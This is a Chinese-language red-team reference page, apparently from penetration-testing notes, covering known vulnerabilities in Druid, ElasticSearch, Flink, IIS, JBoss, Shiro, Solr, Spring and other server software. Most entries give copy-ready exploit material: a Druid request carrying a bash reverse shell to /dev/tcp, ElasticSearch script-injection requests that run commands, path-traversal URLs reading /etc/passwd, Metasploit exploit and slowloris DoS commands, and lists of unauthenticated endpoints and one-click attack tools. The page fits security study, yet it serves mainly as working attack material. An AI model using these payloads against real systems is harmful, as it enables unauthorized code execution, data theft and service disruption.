Apache Druid 是用 Java 编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。

**CVE-2021-25646**
- 简介

    Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。

- 影响版本
    - Apache Druid < 0.20.1

- POC | Payload | exp
    ```
    POST /druid/indexer/v1/sampler HTTP/1.1
    Host: xxxxx
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Content-Type: application/json
    Content-Length: 1044
    Connection: close

    {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx/xxx 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
    ```

---

## Dubbo

> 官网 : https://dubbo.apache.org/zh-cn/

Apache Dubbo 是一款高性能、轻量级的开源 Java RPC 框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。

**工具**
- [threedr3am/dubbo-exp](https://github.com/threedr3am/dubbo-exp) - Dubbo 反序列化一键快速攻击测试工具，支持 dubbo 协议和 http 协议，支持 hessian 反序列化和 java 原生反序列化。

**CVE-2019-17564 pache Dubbo 反序列化漏洞**
- 文章
    - [漏洞复现|Dubbo反序列化漏洞CVE-2019-17564](https://www.cnblogs.com/wh4am1/p/12307848.html)
    - [[漏洞分析]CVE-2019-17564/Apache Dubbo存在反序列化漏洞](https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5)

---

## ElasticSearch

> 官网 : https://www.elastic.co/

ElasticSearch 是一个基于 Lucene 的搜索服务器.它提供了一个分布式多用户能力的全文搜索引擎,基于 RESTful web 接口.Elasticsearch 是用 Java 开发的,并作为 Apache 许可条款下的开放源码发布,是当前流行的企业级搜索引擎.

**未授权访问漏洞**

- `http://[ip]:9200`
- `http://[ip]:9200/_plugin/head/` web 管理界面
- `http://[ip]:9200/hello/_search?pretty&size=50&from=50`
- `http://[ip]:9200/_cat/indices`
- `http://[ip]:9200/_river/_search` 查看数据库敏感信息
- `http://[ip]:9200/_nodes` 查看节点数据
- `http://[ip]:9200/_cat/indices?v` 查看当前节点的所有 Index
- `http://[ip]:9200/_search?pretty=true` 查询所有的 index, type
- [Elasticvue](https://chrome.google.com/webstore/detail/elasticvue/hkedbapjpblbodpgbajblpnlpenaebaa?hl=en-US) - 进行未授权访问漏洞利用的插件

**CVE-2014-3120 ElasticSearch 命令执行漏洞**
- 简介

    老版本 ElasticSearch 支持传入动态脚本 (MVEL) 来执行一些复杂的操作,而 MVEL 可执行 Java 代码,而且没有沙盒,所以我们可以直接执行任意代码.

- 影响版本
    - ElasticSearch 1.1.1

- POC | Payload | exp

    来源: [ElasticSearch 命令执行漏洞 (CVE-2014-3120) 测试环境](https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/)

    首先,该漏洞需要 es 中至少存在一条数据,所以我们需要先创建一条数据:
    ```
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25

    {
    "name": "test"
    }
    ```

    然后,执行任意代码:
    ```
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 343

    {
        "size": 1,
        "query": {
        "filtered": {
            "query": {
            "match_all": {
            }
            }
        }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
    }
    ```

**CVE-2015-1427 Groovy 沙盒绕过 && 代码执行漏洞**
- 简介

    CVE-2014-3120 后，ElasticSearch 默认的动态脚本语言换成了 Groovy，并增加了沙盒，但默认仍然支持直接执行动态语言。

- 影响版本
    - ElasticSearch < 1 .3.7
    - ElasticSearch 1.4.0 ~ 1.4.2

- 文章
    - [Remote Code Execution in Elasticsearch - CVE-2015-1427](https://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/)

- POC | Payload | exp

    来源: [ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞 (CVE-2015-1427) 测试环境](https://vulhub.org/#/environments/elasticsearch/CVE-2015-1427/)

    由于查询时至少要求 es 中有一条数据,所以发送如下数据包,增加一个数据:
    ```
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25

    {
    "name": "test"
    }
    ```

    然后发送包含 payload 的数据包,执行任意命令:
    ```
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 156

    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
    ```

**CVE-2015-3337 目录穿越漏洞**
- 简介

    在安装了具有"site"功能的插件以后,插件目录使用 ../ 即可向上跳转,导致目录穿越漏洞,可读取任意文件.没有安装任意插件的 elasticsearch 不受影响.

- 影响版本

    - ElasticSearch < 1.4.4
    - ElasticSearch 1.5.0 ~ 1.5.1

- POC | Payload | exp

    来源: https://vulhub.org/#/environments/elasticsearch/CVE-2015-3337/

    - `http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd` (不要在浏览器访问)

    - `http://your-ip:9200/_plugin/head/`

**CVE-2015-5531**
- 简介

    elasticsearch 1.5.1 及以前,无需任何配置即可触发该漏洞.之后的新版,配置文件 elasticsearch.yml 中必须存在 path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置.不配置该值,默认不启动这个功能.

- 影响版本

    - ElasticSearch < 1.6.0

- 文章
    - [Elasticsearch目录遍历漏洞 (CVE-2015-5531) 复现与分析 (附PoC) ](https://www.freebuf.com/vuls/99942.html)

- POC | Payload | exp

    来源: https://vulhub.org/#/environments/elasticsearch/CVE-2015-5531/

    新建一个仓库
    ```
    PUT /_snapshot/test HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108

    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/test"
        }
    }
    ```

    创建一个快照
    ```
    PUT /_snapshot/test2 HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 108

    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
        }
    }
    ```

    目录穿越读取任意文件

    `http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd`

    在错误信息中包含文件内容 (编码后) ,对其进行解码即可获得文件

---

## Flink

> 官网 : https://flink.apache.org/

**CVE-2020-17518 文件写入**
- 文章
    - [CVE-2020-17518&17519：Flink两个漏洞复现](https://mp.weixin.qq.com/s/9xLQ1YAWVtHBv9qVk-Xc1A)

- POC | Payload | exp
    - https://github.com/QmF0c3UK/CVE-2020-17518.git

**CVE-2020-17519 文件读取**
- 文章
    - [漏洞复现|Apache Flink(CVE-2020-17519)漏洞分析](https://mp.weixin.qq.com/s/6Z7ilX_bwSBU8EWfStAc5w)

- POC | Payload | exp
    ```
    http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
    ```

---

## httpd

**CVE-2007-6750 Apache ddos**
- 简介

    Apache HTTP Server 1.x版本和2.x版本中存在资源管理错误漏洞。该漏洞源于网络系统或产品对系统资源（如内存、磁盘空间、文件等）的管理不当。

- MSF Module
    ```
    use auxiliary/dos/http/slowloris
    set RHOST <rhost>
    run
    ```

**CVE-2017-15715 Apache 解析漏洞**
- 影响版本
    - 2.4.0 < HTTPD <2.4.29

- 文章
    - [利用最新Apache解析漏洞（CVE-2017-15715）绕过上传黑名单](https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html)
    - [Apache HTTPD 换行解析漏洞（CVE-2017-15715）](https://vulhub.org/#/environments/httpd/CVE-2017-15715/)

**SSI 远程命令执行漏洞**
- 文章
    - [Apache SSI 远程命令执行漏洞](https://vulhub.org/#/environments/httpd/ssi-rce/)

**CVE-2019-0211 Apache HTTP 服务组件提权漏洞**
- 文章
    - [Apache 提权漏洞(CVE-2019-0211)复现](https://paper.seebug.org/889/)

- POC | Payload | exp
    - [CVE-2019-0211-apache](https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache)

---

## IIS

**IIS shortname**
- 简介

    windows 在创建一个新文件时,操作系统还会生成 8.3 格式的兼容 MS-DOS 的(短)文件名,以允许基于 MS-DOS 或16位 windows 的程序访问这些文件.

- 修复方案
    1. 升级 .net framework 至 4.0 版本或以上
    2. 修改 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 值 NtfsDisable8dot3NameCreation 为 1

- 文章
    - [IIS短文件名漏洞](http://www.lonelyor.org/lonelyorWiki/15446866501207.html)
    - [IIS短文件名泄露漏洞修复](https://segmentfault.com/a/1190000006225568)
    - [IIS短文件/文件夹漏洞(汇总整理) ](https://www.freebuf.com/articles/4908.html)

- POC | Payload | exp
    ```bash
    1. http://www.xxx.com/*~1*/.aspx
    2. http://www.xxx.com/l1j1e*~1*/.aspx
    # 若1返回404而2返回400,则可以判断目标站点存在漏洞.
    http://www.xxx.com/a*~1*/.aspx
    # 若存在将返回404,不存在则返回400.以此类推,不断向下猜解所有的6个字符.
    ```

    ![](../../../../assets/img/Security/RedTeam/Web安全/BS-Exploits/3.jpg)

    ```
    Windows Server 2008 R2
    查询是否开启短文件名功能:fsutil 8dot3name query
    关闭该功能:fsutil 8dot3name set 1

    Windows Server 2003
    关闭该功能:fsutil behavior set disable8dot3 1
    ```
    - [lijiejie/IIS_shortname_Scanner](https://github.com/lijiejie/IIS_shortname_Scanner)
    - [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)

**.Net Framework 拒绝服务攻击**
- 简介

    当请求文件夹名称包含 `~1` 的请求,会导致不存在该文件的 .Net Framework 去递归查询所有根目录.如果只有一个"~1"是无效的,当"~1"大于一个,比如像这样:

    `/wwwtest/fuck~1/~1/~1/~1.aspx`

    此时文件系统会这样调用:
    ```
    \wwwtest                           SUCCESS
    \wwwtest\fuck~1\~1\~1\~1           PATH NOT FOUND
    \wwwtest\fuck~1                    NAME NOT FOUND
    \wwwtest\fuck~1\~1\                PATH NOT FOUND
    \wwwtest\fuck~1\~1\~1\             PATH NOT FOUND
    \wwwtest\fuck~1\~1\~1\~1.aspx      PATH NOT FOUND
    \wwwtest\fuck~1\~1\~1\~1.aspx      PATH NOT FOUND
    \wwwtest\fuck~1\~1\~1              PATH NOT FOUND
    \wwwtest\fuck~1\~1\~1\~1.aspx      PATH NOT FOUND
    \wwwtest\fuck~1\~1\~1              PATH NOT FOUND
    \wwwtest\fuck~1\~1                 PATH NOT FOUND
    \wwwtest\fuck~1                    NAME NOT FOUND
    \wwwtest                           SUCCESS
    \wwwtest                           SUCCESS
    ```
    如果我们请求的文件/文件夹名同时存在大小写时,这个请求会被请求两次,一次是原封不动的请求,一次是全部使用小写的请求.

    下表显示了每个请求的 FS 调用的数量(Windows 2008 R2, IIS 7.5(latest patch - June 2012), and .Net framework 4.0.30319 (在别的系统下可能会不同))
    ![](../../../../assets/img/Security/RedTeam/Web安全/BS-Exploits/1.jpg)

**CVE-2017-7269** IIS6.0 RCE
- 简介

    CVE-2017-7269 是 IIS 6.0 中存在的一个栈溢出漏洞，在 IIS6.0 处理 PROPFIND 指令的时候，由于对 url 的长度没有进行有效的长度控制和检查，导致执行 memcpy 对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。

- 影响版本
    - IIS 6.0
    - win 2003-r2

- 文章
    - [CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit](https://paper.seebug.org/259/)

- POC | Payload | exp
    - [zcgonvh/cve-2017-7269](https://github.com/zcgonvh/cve-2017-7269)
    - [zcgonvh/cve-2017-7269-tool](https://github.com/zcgonvh/cve-2017-7269-tool)
    - [lcatro/CVE-2017-7269-Echo-PoC](https://github.com/lcatro/CVE-2017-7269-Echo-PoC)
    - [edwardz246003/IIS_exploit](https://github.com/edwardz246003/IIS_exploit)

- MSF Module
    ```bash
    use exploit/windows/iis/cve-2017-7269
    ```

---

## JBOSS

> 官网 : http://www.jboss.org/

**工具**
- [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JBoss(和其他Java反序列化漏洞)验证和利用工具

**未授权访问漏洞**
- 简介

    部分版本 JBoss 默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

    - `http://[ip]:8080/jmx-console`

**CVE-2016-7065 Red Hat JBoss EAP - Deserialization of Untrusted Data**
- 简介

    JBoss 企业应用程序平台（EAP）4和5中的 JMX servlet 允许远程 DOS，并可能通过精心设计的序列化 Java 对象执行任意代码。

- 影响版本
    - JBOSS 4.0.0
    - JBOSS 5.0.0

- POC | Payload | exp
    - [Red Hat JBoss EAP - Deserialization of Untrusted Data](https://www.exploit-db.com/exploits/40842)

**CVE-2017-12149 JBoss 5.x/6.x 反序列化漏洞**
- 简介

    该漏洞为 Java 反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

- 影响版本
    - JBOSS 5.0.0 ~ 5.2.2

- POC | Payload | exp
    - [yunxu1/jboss-_CVE-2017-12149](https://github.com/yunxu1/jboss-_CVE-2017-12149)
    - [jreppiks/CVE-2017-12149](https://github.com/jreppiks/CVE-2017-12149)
    - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149

---

## Nacos

**nacos v1.x authentication bypass**
- POC | Payload | exp
    - [Report a security vulnerability in nacos to bypass authentication #4593](https://github.com/alibaba/nacos/issues/4593)
    - [add alibaba nacos v1.x authentication bypass detection #1011](https://github.com/chaitin/xray/pull/1011)

---

## Resin

> 官网 : https://caucho.com/

**文章**
- [针对Resin服务的攻击向量整理](https://blkstone.github.io/2017/10/30/resin-attack-vectors/)

**Resin 任意文件读取漏洞**
- 文章
    - [Resin任意文件读取漏洞](https://www.cnblogs.com/KevinGeorge/p/8953731.html)

---

## RocketMQ

**Tips**
- 4.0.x ~ 4.3.x 存在 fastjson 1.2.29

---

## shiro

> 官网 : https://shiro.apache.org/

Apache Shiro 是一个功能强大且灵活的开源安全框架,主要功能包括用户认证、授权、会话管理以及加密.

shiro 的漏洞参考 https://issues.apache.org/jira/projects/SHIRO/issues

**文章**
- [Apache Shiro回显poc改造计划](https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw)
- [关于Shiro反序列化漏洞的延伸—升级shiro也能被shell](https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw)
- [Shiro 100 Key](https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA)

**工具**
- [sv3nbeast/ShiroScan](https://github.com/sv3nbeast/ShiroScan) - Shiro<=1.2.4 反序列化,一键检测工具
- [wyzxxz/shiro_rce](https://github.com/wyzxxz/shiro_rce) - shiro rce 反序列 命令执行 一键工具
- [bigsizeme/shiro-check](https://github.com/bigsizeme/shiro-check) - Shiro反序列化检查 Burp 插件
- [feihong-cs/ShiroExploit-Deprecated](https://github.com/feihong-cs/ShiroExploit-Deprecated) - Shiro550/Shiro721 一键化利用工具，支持多种回显方式
- [j1anFen/shiro_attack](https://github.com/j1anFen/shiro_attack) - shiro 反序列化漏洞综合利用, 包含（回显执行命令 / 注入内存马）

**绕过测试**
- `/;/index`
- `/aaaa/..;/index/1`

**指纹**
- `set-Cookie: rememberMe=deleteMe`

**SHIRO-550 & CVE-2016-4437 | Shiro RememberMe 1.2.4 反序列化漏洞**
- https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-550

- 简介

    shiro 默认使用了 CookieRememberMeManager, 其处理 cookie 的流程是: 得到 rememberMe 的 cookie 值-->Base64 解码-->AES 解密-->反序列化.然而 AES 的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。

- 影响版本
    - 1.2.4(由于密钥泄露的问题, 部分高于 1.2.4 版本的 Shiro 也会受到影响)

- 文章
    - [【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞](https://paper.seebug.org/shiro-rememberme-1-2-4/)

- POC | Payload | exp
    - [jas502n/SHIRO-550](https://github.com/jas502n/SHIRO-550)
    - [https://vulhub.org/#/environments/shiro/CVE-2016-4437/](https://vulhub.org/#/environments/shiro/CVE-2016-4437/)

**SHIRO-721 | Shiro RememberMe Padding Oracle Vulnerability RCE**
- https://issues.apache.org/jira/browse/SHIRO-721

- 简介

    cookie 的 cookiememeMe 已通过 AES-128-CBC 模式加密，这很容易受到填充 oracle 攻击的影响。

    攻击者可以使用有效的 RememberMe cookie 作为 Padding Oracle Attack 的前缀，然后制作精心制作的 RememberMe 来执行 Java 反序列化攻击。

- 影响版本
    - 1.2.5 ~ 1.2.6
    - 1.3.0 ~ 1.3.2
    - 1.4.0-RC2 ~ 1.4.1

- 文章
    - [Shiro 721 Padding Oracle攻击漏洞分析](https://www.anquanke.com/post/id/193165)
    - [Apache Shiro 远程代码执行漏洞复现](http://www.oniont.cn/index.php/archives/298.html)
    - [Shiro RCE again（Padding Oracle Attack）](https://www.anquanke.com/post/id/192819)

- POC | Payload | exp
    - [3ndz/Shiro-721](https://github.com/3ndz/Shiro-721)
    - [jas502n/SHIRO-721](https://github.com/jas502n/SHIRO-721)

**SHIRO-682 & CVE-2020-1957 | Shiro 权限绕过漏洞**

- 简介

    Apache Shiro 是企业常见的 Java 安全框架, 由于 Shiro 的拦截器和 spring(Servlet)拦截器对于 URI 模式匹配的差异, 导致出现鉴权问题.

- 文章
    - [Shiro 权限绕过漏洞分析（CVE-2020-1957）](https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/)

---

## Solr

> 官网 : https://lucene.apache.org/solr/

Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理.

Solr 的漏洞参考 https://issues.apache.org/jira/projects/SOLR/issues

**资源**
- [Imanfeng/Apache-Solr-RCE](https://github.com/Imanfeng/Apache-Solr-RCE) - Solr RCE 整理
- [veracode-research/solr-injection](https://github.com/veracode-research/solr-injection) - Apache Solr 注入研究

**CVE-2017-12629 Apache solr XML 实体注入漏洞**
- 简介

    原理大致是文档通过 Http 利用 XML 加到一个搜索集合中.查询该集合也是通过 http 收到一个 XML/JSON 响应来实现.此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞 (XXE) 和远程命令执行漏洞 (RCE) ,二者可以连接成利用链,编号均为 CVE-2017-12629.

- 影响版本
    - Apache solr 5.5.0 ~ 5.5.4
    - Apache solr 6.0.0 ~ 6.6.1
    - Apache solr 7.0.0 ~ 7.0.1

- 文章
    - [Apache solr XML 实体注入漏洞 (CVE-2017-12629) ](https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/)
    - [Apache Solr 远程命令执行漏洞 (CVE-2017-12629) ](https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/)

**CVE-2019-0192 Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5**
- https://issues.apache.org/jira/browse/SOLR-13301

- 简介

    ConfigAPI 允许通过 HTTP POST 请求配置 Solr 的 JMX 服务器。通过将其指向恶意的 RMI 服务器，攻击者可以利用 Solr 的不安全反序列化功能在 Solr 端触发远程代码执行。

- 影响版本
    - Apache solr 5.0.0 ~ 5.5.5
    - Apache solr 6.0.0 ~ 6.6.5

- POC | Payload | exp
    - https://github.com/mpgn/CVE-2019-0192/

**CVE-2019-0193 Apache Solr 远程命令执行漏洞**
- 简介

    此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置.由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行.

- 影响版本
    - Apache solr < 8.2.0

- 文章
    - [Apache Solr 远程命令执行漏洞 (CVE-2019-0193) ](https://vulhub.org/#/environments/solr/CVE-2019-0193/)
    - [Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析](https://paper.seebug.org/1009/)

- POC | Payload | exp
    - [jas502n/CVE-2019-0193](https://github.com/jas502n/CVE-2019-0193)
    - [1135/solr_exploit](https://github.com/1135/solr_exploit)

**CVE-2019-12409**
- POC | Payload | exp
    - [jas502n/CVE-2019-12409](https://github.com/jas502n/CVE-2019-12409)

**CVE-2019-17558 Apache Solr Velocity 模版注入远程命令执行漏洞**
- 简介

    2019年10月30日，国外安全研究人员放出了一个关于 solr 模板注入的 exp，攻击者通过未授权访问 solr 服务器，发送特定的数据包开启 params.resource.loader.enabled，然后 get 访问接口导致服务器命令执行，命令回显结果在 response。

- 影响版本
    - Apache Solr < 8.2.0

- 文章
    - [Apache Solr最新漏洞复现](https://xz.aliyun.com/t/6679)
    - [Microsoft Apache Solr RCE Velocity Template | Bug Bounty POC](https://blog.securitybreached.org/2020/03/31/microsoft-rce-bugbounty/)

- POC | Payload | exp
    - [jas502n/solr_rce](https://github.com/jas502n/solr_rce)
    - [SDNDTeam/CVE-2019-17558_Solr_Vul_Tool](https://github.com/SDNDTeam/CVE-2019-17558_Solr_Vul_Tool) - Solr 模板注入漏洞图形化一键检测工具
    - [Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)](https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/README.zh-cn.md)

**CVE-2020-13957 Apche Solr 未授权上传**
- 简介

    在特定的 Solr 版本中 ConfigSet API 存在未授权上传漏洞，攻击者利用漏洞可实现远程代码执行。

- 影响版本
    - Apache Solr 6.6.0 -6.6.5
    - Apache Solr 7.0.0 -7.7.3
    - Apache Solr 8.0.0 -8.6.2

- 文章
    - [CVE-2020-13957：Apche Solr 未授权上传漏洞复现](https://mp.weixin.qq.com/s/EbNK_PQZwgR6K31HwjAVRQ)

---

## Spring

> 官网 : https://spring.io/

**指纹**
- `X-Application-Context:`

**相关文章**
- [获取spring boot脱敏属性明文](https://www.jianshu.com/p/ae4be3af5231)

**学习资源**
- [LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit) - SpringBoot 相关漏洞学习资料

**Spring Boot Actuators**
```
/actuator/env
/env
/heapdump
/trace
/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
```
- [Exploiting Spring Boot Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
- [Spring Boot Actuators配置不当导致RCE漏洞复现](https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)
- [mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)
- [Spring Boot Actuator 漏洞利用](https://www.jianshu.com/p/8c18f1e05c94)

**CVE-2016-4977 Spring Security OAuth2 远程命令执行漏洞**
- 简介

    Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块.在其使用 whitelabel views 来处理错误时,由于使用了 Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令.

- 影响版本
    - spring_security_oauth 1.0.0 ~ 1.0.5
    - spring_security_oauth 2.0.0 ~ 2.0.9

- POC | Payload | exp

    来源: https://vulhub.org/#/environments/spring/CVE-2016-4977/

    - [vulhub/spring/CVE-2016-4977/poc.py](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py)

**CVE-2017-4971 Spring WebFlow 远程代码执行漏洞**
- 简介

    Spring WebFlow 是一个适用于开发基于流程的应用程序的框架 (如购物逻辑) ,可以将流程的定义和实现流程行为的类和视图分离开来.在其 2.4.x 版本中,如果我们控制了数据绑定时的 field,将导致一个 SpEL 表达式注入漏洞,最终造成任意命令执行.

- 影响版本
    - spring_web_flow 2.4.0 ~ 2.4.4

- 文章
    - [Spring WebFlow 远程代码执行漏洞 (CVE-2017-4971) ](https://vulhub.org/#/environments/spring/CVE-2017-4971/)

**CVE-2017-8046 Spring Data Rest 远程命令执行漏洞**
- 简介

    Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务.在 REST API 的 Patch 方法中 (实现 RFC6902) ,path 的值被传入 setValue,导致执行了 SpEL 表达式,触发远程命令执行漏洞.

- 影响版本
    - spring_boot < 1.5.9
    - spring_boot 2.0.0:m1 ~ 2.0.0:m5
    - spring_data_rest < 2.6.9
    - spring_data_rest 3.0.0 ~ 3.0.0:rc3

- 文章
    - [Spring Data Rest 远程命令执行漏洞 (CVE-2017-8046) ](https://vulhub.org/#/environments/spring/CVE-2017-8046/)

**CVE-2018-1270 Spring Messaging 远程命令执行漏洞**
- 简介

    spring messaging 为 spring 框架提供消息支持,其上层协议是 STOMP,底层通信基于 SockJS,

    在 spring messaging 中,其允许客户端订阅消息,并使用 selector 过滤消息.selector 用 SpEL 表达式编写,并使用 StandardEvaluationContext 解析,造成命令执行漏洞.

- 影响版本
    - spring_framework < 4.2.9
    - spring_framework 4.3.0 ~ 4.3.15
    - spring_framework 5.0 ~ 5.0.5

- 文章
    - [Spring Messaging 远程命令执行漏洞 (CVE-2018-1270) ](https://vulhub.org/#/environments/spring/CVE-2018-1270/)

**CVE-2018-1273 Spring Data Commons RCE 远程命令执行漏洞**
- 简介

    Pivotal Spring Data Commons 和 Spring Data REST 都是美国 Pivotal Software 公司的产品。Pivotal Spring Data Commons 是一个为数据访问提供基于 Spring 模型的项目。Spring Data REST 是一个建立在 Spring Data 存储库之上的用于分析应用程序的域模型并公开超媒体驱动的 HTTP 资源。

    Pivotal Spring Data Commons 和 Spring Data REST 中存在安全漏洞。远程攻击者可利用该漏洞执行代码。以下产品和版本受到影响：Spring Data Commons 1.13 版本至 1.13.10 版本，2.0 版本至 2.0.5 版本及一些已不再支持的老版本；Spring Data REST 2.6 版本至 2.6.10 版本，3.0 版本至 3.0.5 版本及一些已不再支持的老版本。

- 文章
    - [Spring Data Commons 远程命令执行漏洞 (CVE-2018-1273) ](https://vulhub.org/#/environments/spring/CVE-2018-1273/)

- 影响版本
    - spring_data_commons < 1.12.10
    - spring_data_commons 1.13 ~ 1.13.10
    - spring_data_commons 2.0 ~ 2.0.5
    - spring_data_rest < 2.5.10
    - spring_data_rest 2.6 ~ 2.6.10
    - spring_data_rest 3.0 ~ 3.0.5

- POC | Payload | exp
    - [wearearima/poc-cve-2018-1273](https://github.com/wearearima/poc-cve-2018-1273)
    - [jas502n/cve-2018-1273](https://github.com/jas502n/cve-2018-1273)

**CVE-2020-5398 Spring MVC/Spring WebFlux header 导致的 RFD 攻击**
- 文章
